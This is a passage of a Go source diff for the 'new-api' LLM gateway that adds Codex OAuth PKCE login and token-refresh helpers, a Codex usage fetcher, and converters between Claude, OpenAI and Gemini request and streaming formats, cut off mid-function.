+		RefreshToken string `json:"refresh_token"`
+		ExpiresIn    int    `json:"expires_in"`
+	}
+
+	if err := common.DecodeJson(resp.Body, &payload); err != nil {
+		return nil, err
+	}
+	if resp.StatusCode < 200 || resp.StatusCode >= 300 {
+		return nil, fmt.Errorf("codex oauth refresh failed: status=%d", resp.StatusCode)
+	}
+
+	if strings.TrimSpace(payload.AccessToken) == "" || strings.TrimSpace(payload.RefreshToken) == "" || payload.ExpiresIn <= 0 {
+		return nil, errors.New("codex oauth refresh response missing fields")
+	}
+
+	return &CodexOAuthTokenResult{
+		AccessToken:  strings.TrimSpace(payload.AccessToken),
+		RefreshToken: strings.TrimSpace(payload.RefreshToken),
+		ExpiresAt:    time.Now().Add(time.Duration(payload.ExpiresIn) * time.Second),
+	}, nil
+}
+
+func exchangeCodexAuthorizationCode(
+	ctx context.Context,
+	client *http.Client,
+	tokenURL string,
+	clientID string,
+	code string,
+	verifier string,
+	redirectURI string,
+) (*CodexOAuthTokenResult, error) {
+	c := strings.TrimSpace(code)
+	v := strings.TrimSpace(verifier)
+	if c == "" {
+		return nil, errors.New("empty authorization code")
+	}
+	if v == "" {
+		return nil, errors.New("empty code_verifier")
+	}
+
+	form := url.Values{}
+	form.Set("grant_type", "authorization_code")
+	form.Set("client_id", clientID)
+	form.Set("code", c)
+	form.Set("code_verifier", v)
+	form.Set("redirect_uri", redirectURI)
+
+	req, err := http.NewRequestWithContext(ctx, http.MethodPost, tokenURL, strings.NewReader(form.Encode()))
+	if err != nil {
+		return nil, err
+	}
+	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
+	req.Header.Set("Accept", "application/json")
+
+	resp, err := client.Do(req)
+	if err != nil {
+		return nil, err
+	}
+	defer resp.Body.Close()
+
+	var payload struct {
+		AccessToken  string `json:"access_token"`
+		RefreshToken string `json:"refresh_token"`
+		ExpiresIn    int    `json:"expires_in"`
+	}
+	if err := common.DecodeJson(resp.Body, &payload); err != nil {
+		return nil, err
+	}
+	if resp.StatusCode < 200 || resp.StatusCode >= 300 {
+		return nil, fmt.Errorf("codex oauth code exchange failed: status=%d", resp.StatusCode)
+	}
+	if strings.TrimSpace(payload.AccessToken) == "" || strings.TrimSpace(payload.RefreshToken) == "" || payload.ExpiresIn <= 0 {
+		return nil, errors.New("codex oauth token response missing fields")
+	}
+	return &CodexOAuthTokenResult{
+		AccessToken:  strings.TrimSpace(payload.AccessToken),
+		RefreshToken: strings.TrimSpace(payload.RefreshToken),
+		ExpiresAt:    time.Now().Add(time.Duration(payload.ExpiresIn) * time.Second),
+	}, nil
+}
+
+func getCodexOAuthHTTPClient(proxyURL string) (*http.Client, error) {
+	baseClient, err := GetHttpClientWithProxy(strings.TrimSpace(proxyURL))
+	if err != nil {
+		return nil, err
+	}
+	if baseClient == nil {
+		return &http.Client{Timeout: defaultHTTPTimeout}, nil
+	}
+	clientCopy := *baseClient
+	clientCopy.Timeout = defaultHTTPTimeout
+	return &clientCopy, nil
+}
+
+func buildCodexAuthorizeURL(state string, challenge string) (string, error) {
+	u, err := url.Parse(codexOAuthAuthorizeURL)
+	if err != nil {
+		return "", err
+	}
+	q := u.Query()
+	q.Set("response_type", "code")
+	q.Set("client_id", codexOAuthClientID)
+	q.Set("redirect_uri", codexOAuthRedirectURI)
+	q.Set("scope", codexOAuthScope)
+	q.Set("code_challenge", challenge)
+	q.Set("code_challenge_method", "S256")
+	q.Set("state", state)
+	q.Set("id_token_add_organizations", "true")
+	q.Set("codex_cli_simplified_flow", "true")
+	q.Set("originator", "codex_cli_rs")
+	u.RawQuery = q.Encode()
+	return u.String(), nil
+}
+
+func createStateHex(nBytes int) (string, error) {
+	if nBytes <= 0 {
+		return "", errors.New("invalid state bytes length")
+	}
+	b := make([]byte, nBytes)
+	if _, err := rand.Read(b); err != nil {
+		return "", err
+	}
+	return fmt.Sprintf("%x", b), nil
+}
+
+func generatePKCEPair() (verifier string, challenge string, err error) {
+	b := make([]byte, 32)
+	if _, err := rand.Read(b); err != nil {
+		return "", "", err
+	}
+	verifier = base64.RawURLEncoding.EncodeToString(b)
+	sum := sha256.Sum256([]byte(verifier))
+	challenge = base64.RawURLEncoding.EncodeToString(sum[:])
+	return verifier, challenge, nil
+}
+
+func ExtractCodexAccountIDFromJWT(token string) (string, bool) {
+	claims, ok := decodeJWTClaims(token)
+	if !ok {
+		return "", false
+	}
+	raw, ok := claims[codexJWTClaimPath]
+	if !ok {
+		return "", false
+	}
+	obj, ok := raw.(map[string]any)
+	if !ok {
+		return "", false
+	}
+	v, ok := obj["chatgpt_account_id"]
+	if !ok {
+		return "", false
+	}
+	s, ok := v.(string)
+	if !ok {
+		return "", false
+	}
+	s = strings.TrimSpace(s)
+	if s == "" {
+		return "", false
+	}
+	return s, true
+}
+
+func ExtractEmailFromJWT(token string) (string, bool) {
+	claims, ok := decodeJWTClaims(token)
+	if !ok {
+		return "", false
+	}
+	v, ok := claims["email"]
+	if !ok {
+		return "", false
+	}
+	s, ok := v.(string)
+	if !ok {
+		return "", false
+	}
+	s = strings.TrimSpace(s)
+	if s == "" {
+		return "", false
+	}
+	return s, true
+}
+
+func decodeJWTClaims(token string) (map[string]any, bool) {
+	parts := strings.Split(token, ".")
+	if len(parts) != 3 {
+		return nil, false
+	}
+	payloadRaw, err := base64.RawURLEncoding.DecodeString(parts[1])
+	if err != nil {
+		return nil, false
+	}
+	var claims map[string]any
+	if err := json.Unmarshal(payloadRaw, &claims); err != nil {
+		return nil, false
+	}
+	return claims, true
+}
diff --git a/new-api/service/codex_wham_usage.go b/new-api/service/codex_wham_usage.go
new file mode 100644
index 0000000..d27cbd9
--- /dev/null
+++ b/new-api/service/codex_wham_usage.go
@@ -0,0 +1,56 @@
+package service
+
+import (
+	"context"
+	"fmt"
+	"io"
+	"net/http"
+	"strings"
+)
+
+func FetchCodexWhamUsage(
+	ctx context.Context,
+	client *http.Client,
+	baseURL string,
+	accessToken string,
+	accountID string,
+) (statusCode int, body []byte, err error) {
+	if client == nil {
+		return 0, nil, fmt.Errorf("nil http client")
+	}
+	bu := strings.TrimRight(strings.TrimSpace(baseURL), "/")
+	if bu == "" {
+		return 0, nil, fmt.Errorf("empty baseURL")
+	}
+	at := strings.TrimSpace(accessToken)
+	aid := strings.TrimSpace(accountID)
+	if at == "" {
+		return 0, nil, fmt.Errorf("empty accessToken")
+	}
+	if aid == "" {
+		return 0, nil, fmt.Errorf("empty accountID")
+	}
+
+	req, err := http.NewRequestWithContext(ctx, http.MethodGet, bu+"/backend-api/wham/usage", nil)
+	if err != nil {
+		return 0, nil, err
+	}
+	req.Header.Set("Authorization", "Bearer "+at)
+	req.Header.Set("chatgpt-account-id", aid)
+	req.Header.Set("Accept", "application/json")
+	if req.Header.Get("originator") == "" {
+		req.Header.Set("originator", "codex_cli_rs")
+	}
+
+	resp, err := client.Do(req)
+	if err != nil {
+		return 0, nil, err
+	}
+	defer resp.Body.Close()
+
+	body, err = io.ReadAll(resp.Body)
+	if err != nil {
+		return resp.StatusCode, nil, err
+	}
+	return resp.StatusCode, body, nil
+}
diff --git a/new-api/service/convert.go b/new-api/service/convert.go
new file mode 100644
index 0000000..95acf83
--- /dev/null
+++ b/new-api/service/convert.go
@@ -0,0 +1,1007 @@
+package service
+
+import (
+	"encoding/json"
+	"fmt"
+	"strings"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/constant"
+	"github.com/QuantumNous/new-api/dto"
+	"github.com/QuantumNous/new-api/relay/channel/openrouter"
+	relaycommon "github.com/QuantumNous/new-api/relay/common"
+	"github.com/QuantumNous/new-api/relay/reasonmap"
+	"github.com/samber/lo"
+)
+
+func ClaudeToOpenAIRequest(claudeRequest dto.ClaudeRequest, info *relaycommon.RelayInfo) (*dto.GeneralOpenAIRequest, error) {
+	openAIRequest := dto.GeneralOpenAIRequest{
+		Model:       claudeRequest.Model,
+		Temperature: claudeRequest.Temperature,
+	}
+	if claudeRequest.MaxTokens != nil {
+		openAIRequest.MaxTokens = lo.ToPtr(lo.FromPtr(claudeRequest.MaxTokens))
+	}
+	if claudeRequest.TopP != nil {
+		openAIRequest.TopP = lo.ToPtr(lo.FromPtr(claudeRequest.TopP))
+	}
+	if claudeRequest.TopK != nil {
+		openAIRequest.TopK = lo.ToPtr(lo.FromPtr(claudeRequest.TopK))
+	}
+	if claudeRequest.Stream != nil {
+		openAIRequest.Stream = lo.ToPtr(lo.FromPtr(claudeRequest.Stream))
+	}
+
+	isOpenRouter := info.ChannelType == constant.ChannelTypeOpenRouter
+
+	if isOpenRouter {
+		if effort := claudeRequest.GetEfforts(); effort != "" {
+			effortBytes, _ := json.Marshal(effort)
+			openAIRequest.Verbosity = effortBytes
+		}
+		if claudeRequest.Thinking != nil {
+			var reasoning openrouter.RequestReasoning
+			if claudeRequest.Thinking.Type == "enabled" {
+				reasoning = openrouter.RequestReasoning{
+					Enabled:   true,
+					MaxTokens: claudeRequest.Thinking.GetBudgetTokens(),
+				}
+			} else if claudeRequest.Thinking.Type == "adaptive" {
+				reasoning = openrouter.RequestReasoning{
+					Enabled: true,
+				}
+			}
+			reasoningJSON, err := json.Marshal(reasoning)
+			if err != nil {
+				return nil, fmt.Errorf("failed to marshal reasoning: %w", err)
+			}
+			openAIRequest.Reasoning = reasoningJSON
+		}
+	} else {
+		thinkingSuffix := "-thinking"
+		if strings.HasSuffix(info.OriginModelName, thinkingSuffix) &&
+			!strings.HasSuffix(openAIRequest.Model, thinkingSuffix) {
+			openAIRequest.Model = openAIRequest.Model + thinkingSuffix
+		}
+	}
+
+	// Convert stop sequences
+	if len(claudeRequest.StopSequences) == 1 {
+		openAIRequest.Stop = claudeRequest.StopSequences[0]
+	} else if len(claudeRequest.StopSequences) > 1 {
+		openAIRequest.Stop = claudeRequest.StopSequences
+	}
+
+	// Convert tools
+	tools, _ := common.Any2Type[[]dto.Tool](claudeRequest.Tools)
+	openAITools := make([]dto.ToolCallRequest, 0)
+	for _, claudeTool := range tools {
+		openAITool := dto.ToolCallRequest{
+			Type: "function",
+			Function: dto.FunctionRequest{
+				Name:        claudeTool.Name,
+				Description: claudeTool.Description,
+				Parameters:  claudeTool.InputSchema,
+			},
+		}
+		openAITools = append(openAITools, openAITool)
+	}
+	openAIRequest.Tools = openAITools
+
+	// Convert messages
+	openAIMessages := make([]dto.Message, 0)
+
+	// Add system message if present
+	if claudeRequest.System != nil {
+		if claudeRequest.IsStringSystem() && claudeRequest.GetStringSystem() != "" {
+			openAIMessage := dto.Message{
+				Role: "system",
+			}
+			openAIMessage.SetStringContent(claudeRequest.GetStringSystem())
+			openAIMessages = append(openAIMessages, openAIMessage)
+		} else {
+			systems := claudeRequest.ParseSystem()
+			if len(systems) > 0 {
+				openAIMessage := dto.Message{
+					Role: "system",
+				}
+				isOpenRouterClaude := isOpenRouter && strings.HasPrefix(info.UpstreamModelName, "anthropic/claude")
+				if isOpenRouterClaude {
+					systemMediaMessages := make([]dto.MediaContent, 0, len(systems))
+					for _, system := range systems {
+						message := dto.MediaContent{
+							Type:         "text",
+							Text:         system.GetText(),
+							CacheControl: system.CacheControl,
+						}
+						systemMediaMessages = append(systemMediaMessages, message)
+					}
+					openAIMessage.SetMediaContent(systemMediaMessages)
+				} else {
+					systemStr := ""
+					for _, system := range systems {
+						if system.Text != nil {
+							systemStr += *system.Text
+						}
+					}
+					openAIMessage.SetStringContent(systemStr)
+				}
+				openAIMessages = append(openAIMessages, openAIMessage)
+			}
+		}
+	}
+	for _, claudeMessage := range claudeRequest.Messages {
+		openAIMessage := dto.Message{
+			Role: claudeMessage.Role,
+		}
+
+		//log.Printf("claudeMessage.Content: %v", claudeMessage.Content)
+		if claudeMessage.IsStringContent() {
+			openAIMessage.SetStringContent(claudeMessage.GetStringContent())
+		} else {
+			content, err := claudeMessage.ParseContent()
+			if err != nil {
+				return nil, err
+			}
+			contents := content
+			var toolCalls []dto.ToolCallRequest
+			mediaMessages := make([]dto.MediaContent, 0, len(contents))
+
+			for _, mediaMsg := range contents {
+				switch mediaMsg.Type {
+				case "text", "input_text":
+					message := dto.MediaContent{
+						Type:         "text",
+						Text:         mediaMsg.GetText(),
+						CacheControl: mediaMsg.CacheControl,
+					}
+					mediaMessages = append(mediaMessages, message)
+				case "image":
+					// Handle image conversion (base64 to URL or keep as is)
+					imageData := fmt.Sprintf("data:%s;base64,%s", mediaMsg.Source.MediaType, mediaMsg.Source.Data)
+					//textContent += fmt.Sprintf("[Image: %s]", imageData)
+					mediaMessage := dto.MediaContent{
+						Type:     "image_url",
+						ImageUrl: &dto.MessageImageUrl{Url: imageData},
+					}
+					mediaMessages = append(mediaMessages, mediaMessage)
+				case "tool_use":
+					toolCall := dto.ToolCallRequest{
+						ID:   mediaMsg.Id,
+						Type: "function",
+						Function: dto.FunctionRequest{
+							Name:      mediaMsg.Name,
+							Arguments: toJSONString(mediaMsg.Input),
+						},
+					}
+					toolCalls = append(toolCalls, toolCall)
+				case "tool_result":
+					// Add tool result as a separate message
+					toolName := mediaMsg.Name
+					if toolName == "" {
+						toolName = claudeRequest.SearchToolNameByToolCallId(mediaMsg.ToolUseId)
+					}
+					oaiToolMessage := dto.Message{
+						Role:       "tool",
+						Name:       &toolName,
+						ToolCallId: mediaMsg.ToolUseId,
+					}
+					//oaiToolMessage.SetStringContent(*mediaMsg.GetMediaContent().Text)
+					if mediaMsg.IsStringContent() {
+						oaiToolMessage.SetStringContent(mediaMsg.GetStringContent())
+					} else {
+						mediaContents := mediaMsg.ParseMediaContent()
+						encodeJson, _ := common.Marshal(mediaContents)
+						oaiToolMessage.SetStringContent(string(encodeJson))
+					}
+					openAIMessages = append(openAIMessages, oaiToolMessage)
+				}
+			}
+
+			if len(toolCalls) > 0 {
+				openAIMessage.SetToolCalls(toolCalls)
+			}
+
+			if len(mediaMessages) > 0 && len(toolCalls) == 0 {
+				openAIMessage.SetMediaContent(mediaMessages)
+			}
+		}
+		if len(openAIMessage.ParseContent()) > 0 || len(openAIMessage.ToolCalls) > 0 {
+			openAIMessages = append(openAIMessages, openAIMessage)
+		}
+	}
+
+	openAIRequest.Messages = openAIMessages
+
+	return &openAIRequest, nil
+}
+
+func generateStopBlock(index int) *dto.ClaudeResponse {
+	return &dto.ClaudeResponse{
+		Type:  "content_block_stop",
+		Index: common.GetPointer[int](index),
+	}
+}
+
+func buildClaudeUsageFromOpenAIUsage(oaiUsage *dto.Usage) *dto.ClaudeUsage {
+	if oaiUsage == nil {
+		return nil
+	}
+	cacheCreation5m, cacheCreation1h := NormalizeCacheCreationSplit(
+		oaiUsage.PromptTokensDetails.CachedCreationTokens,
+		oaiUsage.ClaudeCacheCreation5mTokens,
+		oaiUsage.ClaudeCacheCreation1hTokens,
+	)
+	usage := &dto.ClaudeUsage{
+		InputTokens:              oaiUsage.PromptTokens,
+		OutputTokens:             oaiUsage.CompletionTokens,
+		CacheCreationInputTokens: oaiUsage.PromptTokensDetails.CachedCreationTokens,
+		CacheReadInputTokens:     oaiUsage.PromptTokensDetails.CachedTokens,
+	}
+	if cacheCreation5m > 0 || cacheCreation1h > 0 {
+		usage.CacheCreation = &dto.ClaudeCacheCreationUsage{
+			Ephemeral5mInputTokens: cacheCreation5m,
+			Ephemeral1hInputTokens: cacheCreation1h,
+		}
+	}
+	return usage
+}
+
+func NormalizeCacheCreationSplit(totalTokens int, tokens5m int, tokens1h int) (int, int) {
+	remainder := lo.Max([]int{totalTokens - tokens5m - tokens1h, 0})
+	return tokens5m + remainder, tokens1h
+}
+
+func StreamResponseOpenAI2Claude(openAIResponse *dto.ChatCompletionsStreamResponse, info *relaycommon.RelayInfo) []*dto.ClaudeResponse {
+	if info.ClaudeConvertInfo.Done {
+		return nil
+	}
+
+	var claudeResponses []*dto.ClaudeResponse
+	// stopOpenBlocks emits the required content_block_stop event(s) for the currently open block(s)
+	// according to Anthropic's SSE streaming state machine:
+	// content_block_start -> content_block_delta* -> content_block_stop (per index).
+	//
+	// For text/thinking, there is at most one open block at info.ClaudeConvertInfo.Index.
+	// For tools, OpenAI tool_calls can stream multiple parallel tool_use blocks (indexed from 0),
+	// so we may have multiple open blocks and must stop each one explicitly.
+	stopOpenBlocks := func() {
+		switch info.ClaudeConvertInfo.LastMessagesType {
+		case relaycommon.LastMessageTypeText, relaycommon.LastMessageTypeThinking:
+			claudeResponses = append(claudeResponses, generateStopBlock(info.ClaudeConvertInfo.Index))
+		case relaycommon.LastMessageTypeTools:
+			base := info.ClaudeConvertInfo.ToolCallBaseIndex
+			for offset := 0; offset <= info.ClaudeConvertInfo.ToolCallMaxIndexOffset; offset++ {
+				claudeResponses = append(claudeResponses, generateStopBlock(base+offset))
+			}
+		}
+	}
+	// stopOpenBlocksAndAdvance closes the currently open block(s) and advances the content block index
+	// to the next available slot for subsequent content_block_start events.
+	//
+	// This prevents invalid streams where a content_block_delta (e.g. thinking_delta) is emitted for an
+	// index whose active content_block type is different (the typical cause of "Mismatched content block type").
+	stopOpenBlocksAndAdvance := func() {
+		if info.ClaudeConvertInfo.LastMessagesType == relaycommon.LastMessageTypeNone {
+			return
+		}
+		stopOpenBlocks()
+		switch info.ClaudeConvertInfo.LastMessagesType {
+		case relaycommon.LastMessageTypeTools:
+			info.ClaudeConvertInfo.Index = info.ClaudeConvertInfo.ToolCallBaseIndex + info.ClaudeConvertInfo.ToolCallMaxIndexOffset + 1
+			info.ClaudeConvertInfo.ToolCallBaseIndex = 0
+			info.ClaudeConvertInfo.ToolCallMaxIndexOffset = 0
+		default:
+			info.ClaudeConvertInfo.Index++
+		}
+		info.ClaudeConvertInfo.LastMessagesType = relaycommon.LastMessageTypeNone
+	}
+	if info.SendResponseCount == 1 {
+		msg := &dto.ClaudeMediaMessage{
+			Id:    openAIResponse.Id,
+			Model: openAIResponse.Model,
+			Type:  "message",
+			Role:  "assistant",
+			Usage: &dto.ClaudeUsage{
+				InputTokens:  info.GetEstimatePromptTokens(),
+				OutputTokens: 0,
+			},
+		}
+		msg.SetContent(make([]any, 0))
+		claudeResponses = append(claudeResponses, &dto.ClaudeResponse{
+			Type:    "message_start",
+			Message: msg,
+		})
+		//claudeResponses = append(claudeResponses, &dto.ClaudeResponse{
+		//	Type: "ping",
+		//})
+		if openAIResponse.IsToolCall() {
+			info.ClaudeConvertInfo.LastMessagesType = relaycommon.LastMessageTypeTools
+			info.ClaudeConvertInfo.ToolCallBaseIndex = 0
+			info.ClaudeConvertInfo.ToolCallMaxIndexOffset = 0
+			var toolCall dto.ToolCallResponse
+			if len(openAIResponse.Choices) > 0 && len(openAIResponse.Choices[0].Delta.ToolCalls) > 0 {
+				toolCall = openAIResponse.Choices[0].Delta.ToolCalls[0]
+			} else {
+				first := openAIResponse.GetFirstToolCall()
+				if first != nil {
+					toolCall = *first
+				} else {
+					toolCall = dto.ToolCallResponse{}
+				}
+			}
+			resp := &dto.ClaudeResponse{
+				Type: "content_block_start",
+				ContentBlock: &dto.ClaudeMediaMessage{
+					Id:    toolCall.ID,
+					Type:  "tool_use",
+					Name:  toolCall.Function.Name,
+					Input: map[string]interface{}{},
+				},
+			}
+			resp.SetIndex(0)
+			claudeResponses = append(claudeResponses, resp)
+			// 首块包含工具 delta，则追加 input_json_delta
+			if toolCall.Function.Arguments != "" {
+				idx := 0
+				claudeResponses = append(claudeResponses, &dto.ClaudeResponse{
+					Index: &idx,
+					Type:  "content_block_delta",
+					Delta: &dto.ClaudeMediaMessage{
+						Type:        "input_json_delta",
+						PartialJson: &toolCall.Function.Arguments,
+					},
+				})
+			}
+		} else {
+
+		}
+		// 判断首个响应是否存在内容（非标准的 OpenAI 响应）
+		if len(openAIResponse.Choices) > 0 {
+			reasoning := openAIResponse.Choices[0].Delta.GetReasoningContent()
+			content := openAIResponse.Choices[0].Delta.GetContentString()
+
+			if reasoning != "" {
+				if info.ClaudeConvertInfo.LastMessagesType != relaycommon.LastMessageTypeThinking {
+					stopOpenBlocksAndAdvance()
+				}
+				idx := info.ClaudeConvertInfo.Index
+				claudeResponses = append(claudeResponses, &dto.ClaudeResponse{
+					Index: &idx,
+					Type:  "content_block_start",
+					ContentBlock: &dto.ClaudeMediaMessage{
+						Type:     "thinking",
+						Thinking: common.GetPointer[string](""),
+					},
+				})
+				idx2 := idx
+				claudeResponses = append(claudeResponses, &dto.ClaudeResponse{
+					Index: &idx2,
+					Type:  "content_block_delta",
+					Delta: &dto.ClaudeMediaMessage{
+						Type:     "thinking_delta",
+						Thinking: &reasoning,
+					},
+				})
+				info.ClaudeConvertInfo.LastMessagesType = relaycommon.LastMessageTypeThinking
+			} else if content != "" {
+				if info.ClaudeConvertInfo.LastMessagesType != relaycommon.LastMessageTypeText {
+					stopOpenBlocksAndAdvance()
+				}
+				idx := info.ClaudeConvertInfo.Index
+				claudeResponses = append(claudeResponses, &dto.ClaudeResponse{
+					Index: &idx,
+					Type:  "content_block_start",
+					ContentBlock: &dto.ClaudeMediaMessage{
+						Type: "text",
+						Text: common.GetPointer[string](""),
+					},
+				})
+				idx2 := idx
+				claudeResponses = append(claudeResponses, &dto.ClaudeResponse{
+					Index: &idx2,
+					Type:  "content_block_delta",
+					Delta: &dto.ClaudeMediaMessage{
+						Type: "text_delta",
+						Text: common.GetPointer[string](content),
+					},
+				})
+				info.ClaudeConvertInfo.LastMessagesType = relaycommon.LastMessageTypeText
+			}
+		}
+
+		// 如果首块就带 finish_reason，需要立即发送停止块
+		if len(openAIResponse.Choices) > 0 && openAIResponse.Choices[0].FinishReason != nil && *openAIResponse.Choices[0].FinishReason != "" {
+			info.FinishReason = *openAIResponse.Choices[0].FinishReason
+			stopOpenBlocks()
+			oaiUsage := openAIResponse.Usage
+			if oaiUsage == nil {
+				oaiUsage = info.ClaudeConvertInfo.Usage
+			}
+			if oaiUsage != nil {
+				claudeResponses = append(claudeResponses, &dto.ClaudeResponse{
+					Type:  "message_delta",
+					Usage: buildClaudeUsageFromOpenAIUsage(oaiUsage),
+					Delta: &dto.ClaudeMediaMessage{
+						StopReason: common.GetPointer[string](stopReasonOpenAI2Claude(info.FinishReason)),
+					},
+				})
+			}
+			claudeResponses = append(claudeResponses, &dto.ClaudeResponse{
+				Type: "message_stop",
+			})
+			info.ClaudeConvertInfo.Done = true
+		}
+		return claudeResponses
+	}
+
+	if len(openAIResponse.Choices) == 0 {
+		// Some OpenAI-compatible upstreams end with a usage-only SSE chunk.
+		oaiUsage := openAIResponse.Usage
+		if oaiUsage == nil {
+			oaiUsage = info.ClaudeConvertInfo.Usage
+		}
+		if oaiUsage != nil {
+			stopOpenBlocks()
+			stopReason := stopReasonOpenAI2Claude(info.FinishReason)
+			if stopReason == "" {
+				stopReason = "end_turn"
+			}
+			claudeResponses = append(claudeResponses, &dto.ClaudeResponse{
+				Type:  "message_delta",
+				Usage: buildClaudeUsageFromOpenAIUsage(oaiUsage),
+				Delta: &dto.ClaudeMediaMessage{
+					StopReason: common.GetPointer[string](stopReason),
+				},
+			})
+			claudeResponses = append(claudeResponses, &dto.ClaudeResponse{
+				Type: "message_stop",
+			})
+			info.ClaudeConvertInfo.Done = true
+		}
+		return claudeResponses
+	} else {
+		chosenChoice := openAIResponse.Choices[0]
+		doneChunk := chosenChoice.FinishReason != nil && *chosenChoice.FinishReason != ""
+		if doneChunk {
+			info.FinishReason = *chosenChoice.FinishReason
+			oaiUsage := openAIResponse.Usage
+			if oaiUsage == nil {
+				oaiUsage = info.ClaudeConvertInfo.Usage
+				// Some upstreams emit finish_reason first, then send a final usage-only chunk.
+				// Defer closing until usage is available so the final message_delta carries it.
+				return claudeResponses
+			}
+		}
+
+		var claudeResponse dto.ClaudeResponse
+		var isEmpty bool
+		claudeResponse.Type = "content_block_delta"
+		if len(chosenChoice.Delta.ToolCalls) > 0 {
+			toolCalls := chosenChoice.Delta.ToolCalls
+			if info.ClaudeConvertInfo.LastMessagesType != relaycommon.LastMessageTypeTools {
+				stopOpenBlocksAndAdvance()
+				info.ClaudeConvertInfo.ToolCallBaseIndex = info.ClaudeConvertInfo.Index
+				info.ClaudeConvertInfo.ToolCallMaxIndexOffset = 0
+			}
+			info.ClaudeConvertInfo.LastMessagesType = relaycommon.LastMessageTypeTools
+			base := info.ClaudeConvertInfo.ToolCallBaseIndex
+			maxOffset := info.ClaudeConvertInfo.ToolCallMaxIndexOffset
+
+			for i, toolCall := range toolCalls {
+				offset := 0
+				if toolCall.Index != nil {
+					offset = *toolCall.Index
+				} else {
+					offset = i
+				}
+				if offset > maxOffset {
+					maxOffset = offset
+				}
+				blockIndex := base + offset
+
+				idx := blockIndex
+				if toolCall.Function.Name != "" {
+					claudeResponses = append(claudeResponses, &dto.ClaudeResponse{
+						Index: &idx,
+						Type:  "content_block_start",
+						ContentBlock: &dto.ClaudeMediaMessage{
+							Id:    toolCall.ID,
+							Type:  "tool_use",
+							Name:  toolCall.Function.Name,
+							Input: map[string]interface{}{},
+						},
+					})
+				}
+
+				if len(toolCall.Function.Arguments) > 0 {
+					claudeResponses = append(claudeResponses, &dto.ClaudeResponse{
+						Index: &idx,
+						Type:  "content_block_delta",
+						Delta: &dto.ClaudeMediaMessage{
+							Type:        "input_json_delta",
+							PartialJson: &toolCall.Function.Arguments,
+						},
+					})
+				}
+			}
+			info.ClaudeConvertInfo.ToolCallMaxIndexOffset = maxOffset
+			info.ClaudeConvertInfo.Index = base + maxOffset
+		} else {
+			reasoning := chosenChoice.Delta.GetReasoningContent()
+			textContent := chosenChoice.Delta.GetContentString()
+			if reasoning != "" || textContent != "" {
+				if reasoning != "" {
+					if info.ClaudeConvertInfo.LastMessagesType != relaycommon.LastMessageTypeThinking {
+						stopOpenBlocksAndAdvance()
+						idx := info.ClaudeConvertInfo.Index
+						claudeResponses = append(claudeResponses, &dto.ClaudeResponse{
+							Index: &idx,
+							Type:  "content_block_start",
+							ContentBlock: &dto.ClaudeMediaMessage{
+								Type:     "thinking",
+								Thinking: common.GetPointer[string](""),
+							},
+						})
+					}
+					info.ClaudeConvertInfo.LastMessagesType = relaycommon.LastMessageTypeThinking
+					claudeResponse.Delta = &dto.ClaudeMediaMessage{
+						Type:     "thinking_delta",
+						Thinking: &reasoning,
+					}
+				} else {
+					if info.ClaudeConvertInfo.LastMessagesType != relaycommon.LastMessageTypeText {
+						stopOpenBlocksAndAdvance()
+						idx := info.ClaudeConvertInfo.Index
+						claudeResponses = append(claudeResponses, &dto.ClaudeResponse{
+							Index: &idx,
+							Type:  "content_block_start",
+							ContentBlock: &dto.ClaudeMediaMessage{
+								Type: "text",
+								Text: common.GetPointer[string](""),
+							},
+						})
+					}
+					info.ClaudeConvertInfo.LastMessagesType = relaycommon.LastMessageTypeText
+					claudeResponse.Delta = &dto.ClaudeMediaMessage{
+						Type: "text_delta",
+						Text: common.GetPointer[string](textContent),
+					}
+				}
+			} else {
+				isEmpty = true
+			}
+		}
+
+		claudeResponse.Index = common.GetPointer[int](info.ClaudeConvertInfo.Index)
+		if !isEmpty && claudeResponse.Delta != nil {
+			claudeResponses = append(claudeResponses, &claudeResponse)
+		}
+
+		if doneChunk || info.ClaudeConvertInfo.Done {
+			stopOpenBlocks()
+			oaiUsage := openAIResponse.Usage
+			if oaiUsage == nil {
+				oaiUsage = info.ClaudeConvertInfo.Usage
+			}
+			if oaiUsage != nil {
+				claudeResponses = append(claudeResponses, &dto.ClaudeResponse{
+					Type:  "message_delta",
+					Usage: buildClaudeUsageFromOpenAIUsage(oaiUsage),
+					Delta: &dto.ClaudeMediaMessage{
+						StopReason: common.GetPointer[string](stopReasonOpenAI2Claude(info.FinishReason)),
+					},
+				})
+			}
+			claudeResponses = append(claudeResponses, &dto.ClaudeResponse{
+				Type: "message_stop",
+			})
+			info.ClaudeConvertInfo.Done = true
+			return claudeResponses
+		}
+	}
+
+	return claudeResponses
+}
+
+func ResponseOpenAI2Claude(openAIResponse *dto.OpenAITextResponse, info *relaycommon.RelayInfo) *dto.ClaudeResponse {
+	var stopReason string
+	contents := make([]dto.ClaudeMediaMessage, 0)
+	claudeResponse := &dto.ClaudeResponse{
+		Id:    openAIResponse.Id,
+		Type:  "message",
+		Role:  "assistant",
+		Model: openAIResponse.Model,
+	}
+	for _, choice := range openAIResponse.Choices {
+		stopReason = stopReasonOpenAI2Claude(choice.FinishReason)
+		if choice.FinishReason == "tool_calls" {
+			for _, toolUse := range choice.Message.ParseToolCalls() {
+				claudeContent := dto.ClaudeMediaMessage{}
+				claudeContent.Type = "tool_use"
+				claudeContent.Id = toolUse.ID
+				claudeContent.Name = toolUse.Function.Name
+				var mapParams map[string]interface{}
+				if err := common.Unmarshal([]byte(toolUse.Function.Arguments), &mapParams); err == nil {
+					claudeContent.Input = mapParams
+				} else {
+					claudeContent.Input = toolUse.Function.Arguments
+				}
+				contents = append(contents, claudeContent)
+			}
+		} else {
+			claudeContent := dto.ClaudeMediaMessage{}
+			claudeContent.Type = "text"
+			claudeContent.SetText(choice.Message.StringContent())
+			contents = append(contents, claudeContent)
+		}
+	}
+	claudeResponse.Content = contents
+	claudeResponse.StopReason = stopReason
+	claudeResponse.Usage = buildClaudeUsageFromOpenAIUsage(&openAIResponse.Usage)
+
+	return claudeResponse
+}
+
+func stopReasonOpenAI2Claude(reason string) string {
+	return reasonmap.OpenAIFinishReasonToClaudeStopReason(reason)
+}
+
+func toJSONString(v interface{}) string {
+	b, err := json.Marshal(v)
+	if err != nil {
+		return "{}"
+	}
+	return string(b)
+}
+
+func GeminiToOpenAIRequest(geminiRequest *dto.GeminiChatRequest, info *relaycommon.RelayInfo) (*dto.GeneralOpenAIRequest, error) {
+	openaiRequest := &dto.GeneralOpenAIRequest{
+		Model:  info.UpstreamModelName,
+		Stream: lo.ToPtr(info.IsStream),
+	}
+
+	// 转换 messages
+	var messages []dto.Message
